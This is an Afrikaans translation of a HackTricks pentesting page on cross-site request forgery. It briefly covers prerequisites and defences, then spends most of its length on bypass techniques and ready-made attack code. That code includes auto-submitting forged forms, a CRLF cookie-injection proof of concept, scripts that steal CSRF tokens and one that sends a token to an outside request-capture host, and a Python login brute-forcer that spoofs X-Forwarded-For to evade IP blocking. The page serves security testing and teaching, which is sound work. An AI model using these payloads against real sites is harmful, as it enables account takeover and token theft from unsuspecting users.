CSRF (Cross Site Request Forgery)

Ondersteun HackTricks

Sluit aan by HackenProof Discord bediener om te kommunikeer met ervare hackers en bug bounty jagters!

Hacking Inligting Betrek met inhoud wat die opwinding en uitdagings van hacking ondersoek

Regstydse Hack Nuus Bly op hoogte van die vinnige hacking wêreld deur regstydse nuus en insigte

Laaste Aankondigings Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike platform opdaterings

Sluit by ons aan op Discord en begin vandag saamwerk met top hackers!

Cross-Site Request Forgery (CSRF) Verduidelik

Cross-Site Request Forgery (CSRF) is 'n tipe sekuriteitskwesbaarheid wat in webtoepassings gevind word. Dit stel aanvallers in staat om aksies namens onskuldige gebruikers uit te voer deur hul geverifieerde sessies te benut. Die aanval word uitgevoer wanneer 'n gebruiker, wat in 'n slagoffer se platform aangemeld is, 'n kwaadwillige webwerf besoek. Hierdie webwerf aktiveer dan versoeke na die slagoffer se rekening deur metodes soos die uitvoer van JavaScript, indien van vorms, of opvra van beelde.

Voorvereistes vir 'n CSRF-aanval

Om 'n CSRF-kwesbaarheid te benut, moet verskeie voorwaardes nagekom word:

  1. Identifiseer 'n Waardevolle Aksie: Die aanvaller moet 'n aksie vind wat die moeite werd is om te benut, soos om die gebruiker se wagwoord, e-pos of bevoegdhede te verander.

  2. Sessie Bestuur: Die gebruiker se sessie moet uitsluitlik deur koekies of die HTTP Basic Authentication koptekst bestuur word, aangesien ander koptekste nie vir hierdie doel gemanipuleer kan word nie.

  3. Afwesigheid van Onvoorspelbare Parameters: Die versoek moet nie onvoorspelbare parameters bevat nie, aangesien dit die aanval kan voorkom.

Vinige Kontrole

Jy kan die versoek in Burp vasvang en CSRF beskermings nagaan en om van die blaaier te toets kan jy op Kopieer as fetch klik en die versoek nagaan:

Verdediging teen CSRF

Verskeie teenmaatreëls kan geïmplementeer word om teen CSRF-aanvalle te beskerm:

  • SameSite koekies: Hierdie attribuut verhoed dat die blaaier koekies saam met kruis-web versoeke stuur. Meer oor SameSite koekies.

  • Cross-origin resource sharing: Die CORS-beleid van die slagoffer webwerf kan die haalbaarheid van die aanval beïnvloed, veral as die aanval vereis dat die antwoord van die slagoffer webwerf gelees word. Leer oor CORS omseilings.

  • Gebruiker Verifikasie: Om die gebruiker se wagwoord te vra of 'n captcha op te los kan die gebruiker se bedoeling bevestig.

  • Kontroleer Referrer of Oorsprong Koptekste: Die validering van hierdie koptekste kan help om te verseker dat versoeke van vertroude bronne kom. Dit is egter moontlik om swak geïmplementeerde kontroles te omseil deur sorgvuldig URL's te skep, soos:

  • Gebruik http://mal.net?orig=http://example.com (URL eindig met die vertroude URL)

  • Gebruik http://example.com.mal.net (URL begin met die vertroude URL)

  • Wysig Parametername: Die name van parameters in POST of GET versoeke kan verander word om geoutomatiseerde aanvalle te voorkom.

  • CSRF Tokens: Die insluiting van 'n unieke CSRF-token in elke sessie en die vereiste van hierdie token in daaropvolgende versoeke kan die risiko van CSRF aansienlik verminder. Die doeltreffendheid van die token kan verbeter word deur CORS af te dwing.

Om hierdie verdediging te verstaan en te implementeer is van kardinale belang om die sekuriteit en integriteit van webtoepassings te handhaaf.

Verdedigings Omseiling

Van POST na GET

Miskien is die vorm wat jy wil misbruik voorberei om 'n POST versoek met 'n CSRF-token te stuur, maar jy moet kontroleer of 'n GET ook geld en of wanneer jy 'n GET versoek stuur die CSRF-token steeds geverifieer word.

Gebrek aan token

Toepassings mag 'n meganisme implementeer om tokens te verifieer wanneer hulle teenwoordig is. 'n Kwesbaarheid ontstaan egter as die verifikasie heeltemal oorgeslaan word wanneer die token afwesig is. Aanvallers kan dit benut deur die parameter wat die token dra, nie net sy waarde, te verwyder. Dit stel hulle in staat om die verifikasieproses te omseil en 'n Cross-Site Request Forgery (CSRF) aanval effektief uit te voer.

CSRF-token is nie aan die gebruiker se sessie gekoppel nie

Toepassings wat CSRF-tokens nie aan gebruiker sessies koppel nie bied 'n beduidende sekuriteitsrisiko. Hierdie stelsels verifieer tokens teen 'n globale poel eerder as om te verseker dat elke token aan die inisiërende sessie gebind is.

Hier is hoe aanvallers dit benut:

  1. Verifieer met hul eie rekening.

  2. Verkry 'n geldige CSRF-token uit die globale poel.

  3. Gebruik hierdie token in 'n CSRF-aanval teen 'n slagoffer.

Hierdie kwesbaarheid stel aanvallers in staat om ongeoorloofde versoeke namens die slagoffer te maak, wat die toepassing se onvoldoende token verifikasie meganisme benut.

Metode omseiling

As die versoek 'n "vreemde" metode gebruik, kontroleer of die metode oorskrywing funksionaliteit werk. Byvoorbeeld, as dit 'n PUT metode gebruik, kan jy probeer om 'n POST metode te gebruik en stuur: https://example.com/my/dear/api/val/num?_method=PUT

Dit kan ook werk deur die _method parameter binne 'n POST versoek te stuur of deur die koptekste te gebruik:

  • X-HTTP-Method

  • X-HTTP-Method-Override

  • X-Method-Override

Aangepaste koptekst token omseiling

As die versoek 'n aangepaste koptekst met 'n token aan die versoek voeg as CSRF beskermingsmetode, dan:

  • Toets die versoek sonder die Aangepaste Token en ook koptekst.

  • Toets die versoek met presies dieselfde lengte maar 'n ander token.

CSRF-token word deur 'n koekie geverifieer

Toepassings mag CSRF-beskerming implementeer deur die token in beide 'n koekie en 'n versoekparameter te dupliceer of deur 'n CSRF-koekie in te stel en te verifieer of die token wat in die agtergrond gestuur word ooreenstem met die koekie. Die toepassing verifieer versoeke deur te kontroleer of die token in die versoekparameter ooreenstem met die waarde in die koekie.

Hierdie metode is egter kwesbaar vir CSRF-aanvalle as die webwerf gebreke het wat 'n aanvaller toelaat om 'n CSRF-koekie in die slagoffer se blaaier in te stel, soos 'n CRLF kwesbaarheid. Die aanvaller kan dit benut deur 'n misleidende beeld te laai wat die koekie stel, gevolg deur die inisiëring van die CSRF-aanval.

Hieronder is 'n voorbeeld van hoe 'n aanval gestruktureer kan word:

<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://example.com/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="hidden" name="csrf" value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" onerror="document.forms[0].submit();"/>
</body>
</html>

Let daarop dat as die csrf token verband hou met die sessie koekie, hierdie aanval nie sal werk nie omdat jy die slagoffer jou sessie moet stel, en daarom sal jy jouself aanval.

Inhoudstipe verandering

Volgens hierdie, om preflight versoeke met die POST metode te vermy, is hierdie die toegelate Inhoudstipe waardes:

  • application/x-www-form-urlencoded

  • multipart/form-data

  • text/plain

Let egter daarop dat die bediener se logika kan verskil afhangende van die Inhoudstipe wat gebruik word, so jy moet die genoemde waardes en ander soos application/json,text/xml, application/xml. probeer.

Voorbeeld (van hier) van die sending van JSON data as text/plain:

<html>
<body>
<form id="form" method="post" action="https://phpme.be.ax/" enctype="text/plain">
<input name='{"garbageeeee":"' value='", "yep": "yep yep yep", "url": "https://webhook/"}'>
</form>
<script>
form.submit();
</script>
</body>
</html>

Omseil van Preflight Versoeke vir JSON Data

Wanneer jy probeer om JSON data via 'n POST versoek te stuur, is dit nie direk moontlik om die Content-Type: application/json in 'n HTML vorm te gebruik nie. Net so, die gebruik van XMLHttpRequest om hierdie inhouds tipe te stuur, begin 'n preflight versoek. Nietemin, daar is strategieë om moontlik hierdie beperking te omseil en te kontroleer of die bediener die JSON data verwerk ongeag die Content-Type:

  1. Gebruik Alternatiewe Inhouds Tipes: Gebruik Content-Type: text/plain of Content-Type: application/x-www-form-urlencoded deur enctype="text/plain" in die vorm in te stel. Hierdie benadering toets of die agterkant die data gebruik ongeag die Content-Type.

  2. Wysig Inhouds Tipe: Om 'n preflight versoek te vermy terwyl jy verseker dat die bediener die inhoud as JSON herken, kan jy die data stuur met Content-Type: text/plain; application/json. Dit aktiveer nie 'n preflight versoek nie, maar kan korrek deur die bediener verwerk word as dit geconfigureer is om application/json te aanvaar.

  3. SWF Flash Lêer Gebruik: 'n Minder algemene maar haalbare metode behels die gebruik van 'n SWF flash lêer om sulke beperkings te omseil. Vir 'n diepgaande begrip van hierdie tegniek, verwys na hierdie pos.

Referrer / Oorsprong kontrole omseiling

Vermy Referrer kop

Toepassings mag die 'Referer' kop slegs valideer wanneer dit teenwoordig is. Om te voorkom dat 'n blaaier hierdie kop stuur, kan die volgende HTML meta tag gebruik word:

<meta name="referrer" content="never">

Dit verseker dat die 'Referer' kop nie ingesluit word nie, wat moontlik valideringskontroles in sommige toepassings omseil.

Regexp omseilings

URL Format Bypass

Om die domeinnaam van die bediener in die URL wat die Referrer binne die parameters gaan stuur, in te stel, kan jy doen:

<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head><meta name="referrer" content="unsafe-url"></head>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState("", "", "?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")
document.forms[0].submit();
</script>
</body>
</html>

HEAD metode omseiling

Die eerste deel van hierdie CTF skrywe verduidelik dat Oak se bronkode, 'n router is ingestel om HEAD versoeke as GET versoeke te hanteer sonder 'n responsliggaam - 'n algemene omseiling wat nie uniek is aan Oak nie. In plaas van 'n spesifieke handler wat met HEAD versoeke werk, word hulle eenvoudig aan die GET handler gegee, maar die app verwyder net die responsliggaam.

Daarom, as 'n GET versoek beperk word, kan jy eenvoudig 'n HEAD versoek stuur wat as 'n GET versoek verwerk sal word.

Eksploitasie Voorbeelde

Exfiltrering van CSRF Token

As 'n CSRF token as verdediging gebruik word, kan jy probeer om dit te exfiltreer deur 'n XSS kwesbaarheid of 'n Dangling Markup kwesbaarheid te misbruik.

GET met HTML merke

<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available

Ander HTML5-tags wat gebruik kan word om outomaties 'n GET-versoek te stuur, is:

<iframe src="..."></iframe>
<script src="..."></script>
<img src="..." alt="">
<embed src="...">
<audio src="...">
<video src="...">
<source src="..." type="...">
<video poster="...">
<link rel="stylesheet" href="...">
<object data="...">
<body background="...">
<div style="background: url('...');"></div>
<style>
body { background: url('...'); }
</style>
<bgsound src="...">
<track src="..." kind="subtitles">
<input type="image" src="..." alt="Submit Button">

Vorm GET versoek

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

Vorm POST versoek

<html>
<body>
<script>history.pushState('', '', '/')</script>
<form method="POST" action="https://victim.net/email/change-email" id="csrfform">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src=x onerror="csrfform.submit();" /> <!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit(); //Way 3 to autosubmit
</script>
</body>
</html>

Vorm POST versoek deur iframe

<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

Ajax POST versoek

<script>
var xh;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xh=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xh=new ActiveXObject("Microsoft.XMLHTTP");
}
xh.withCredentials = true;
xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");
xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on");
</script>

<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value&param2=value2"
})
</script>

multipart/form-data POST versoek

myFormData = new FormData();
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text"});
myFormData.append("newAttachment", blob, "pwned.php");
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
mode: "no-cors"
});

multipart/form-data POST versoek v2

// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open("POST", url, true);
//  MIME POST request.
xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
xhr.setRequestHeader("Content-Length", fileSize);
var body = "--" + boundary + "\r\n";
body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' + fileName + '"\r\n';
body += "Content-Type: " + ctype + "\r\n\r\n";
body += fileData + "\r\n";
body += "--" + boundary + "--";

//xhr.send(body);
xhr.sendAsBinary(body);

Form POST-versoek vanuit 'n iframe

<--! expl.html -->

<body onload="envia()">
<form method="POST"id="formulario" action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva">
</form>
<body>
<script>
function envia(){document.getElementById("formulario").submit();}
</script>

<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000">
</iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>

Steal CSRF-token en stuur 'n POST-versoek

function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest();
xhr.open("POST", POST_URL, true);
xhr.withCredentials = true;

// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

// This is for debugging and can be removed
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}

xhr.send("token=" + token + "&otherparama=heyyyy");
}

function getTokenJS() {
var xhr = new XMLHttpRequest();
// This tels it to return it as a HTML document
xhr.responseType = "document";
xhr.withCredentials = true;
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true);
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token");
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value);
}
};
// Make the request
xhr.send(null);
}

var GET_URL="http://google.com?param=VALUE"
var POST_URL="http://google.com?param=VALUE"
getTokenJS();

Steal CSRF Token en stuur 'n Post versoek met 'n iframe, 'n vorm en Ajax

<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
<input type="text" name="username" value="AA">
<input type="checkbox" name="status" checked="checked">
<input id="token" type="hidden" name="token" value="" />
</form>

<script type="text/javascript">
function f1(){
x1=document.getElementById("i1");
x1d=(x1.contentWindow||x1.contentDocument);
t=x1d.document.getElementById("token").value;

document.getElementById("token").value=t;
document.getElementById("form1").submit();
}
</script>
<iframe id="i1" style="display:none" src="http://google.com?param=VALUE" onload="javascript:f1();"></iframe>

Steal CSRF Token en stuur 'n POST versoek met 'n iframe en 'n vorm

<iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe>

<script>
function read()
{
var name = 'admin2';
var token = document.getElementById("iframe").contentDocument.forms[0].token.value;
document.writeln('<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php"  enctype="multipart/form-data">');
document.writeln('<input id="username" type="text" name="username" value="' + name + '" /><br />');
document.writeln('<input id="token" type="hidden" name="token" value="' + token + '" />');
document.writeln('<input type="submit" name="submit" value="Submit" /><br/>');
document.writeln('</form>');
document.forms[0].submit.click();
}
</script>

Steal token and send it using 2 iframes

<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>

<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>

<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>

POSTSteal CSRF-token met Ajax en stuur 'n pos met 'n vorm

<body onload="getData()">

<form id="form" action="http://google.com?param=VALUE" method="POST" enctype="multipart/form-data">
<input type="hidden" name="username" value="root"/>
<input type="hidden" name="status" value="on"/>
<input type="hidden" id="findtoken" name="token" value=""/>
<input type="submit" value="valider"/>
</form>

<script>
var x = new XMLHttpRequest();
function getData() {
x.withCredentials = true;
x.open("GET","http://google.com?param=VALUE",true);
x.send(null);
}
x.onreadystatechange = function() {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1];
document.getElementById("findtoken").value = token;
document.getElementById("form").submit();
}
}
</script>

CSRF met Socket.IO

<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io('http://six.jh2i.com:50022/test');

const username = 'admin'

socket.on('connect', () => {
console.log('connected!');
socket.emit('join', {
room: username
});
socket.emit('my_room_event', {
data: '!flag',
room: username
})

});
</script>

CSRF Login Brute Force

Die kode kan gebruik word om 'n aanmeldvorm met 'n CSRF-token te brute-force (Dit gebruik ook die kop X-Forwarded-For om te probeer om 'n moontlike IP-swartlys te omseil):

import request
import re
import random

URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"

def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie

def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True

with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())

Tools

References

Sluit aan by HackenProof Discord bediener om met ervare hackers en bug bounty jagters te kommunikeer!

Hacking Inligting Neem deel aan inhoud wat die opwinding en uitdagings van hacking ondersoek

Regstydse Hack Nuus Bly op hoogte van die vinnig bewegende hacking wêreld deur regstydse nuus en insigte

Laaste Aankondigings Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike platform opdaterings

Sluit by ons aan op Discord en begin vandag saamwerk met top hackers!

Support HackTricks

Last updated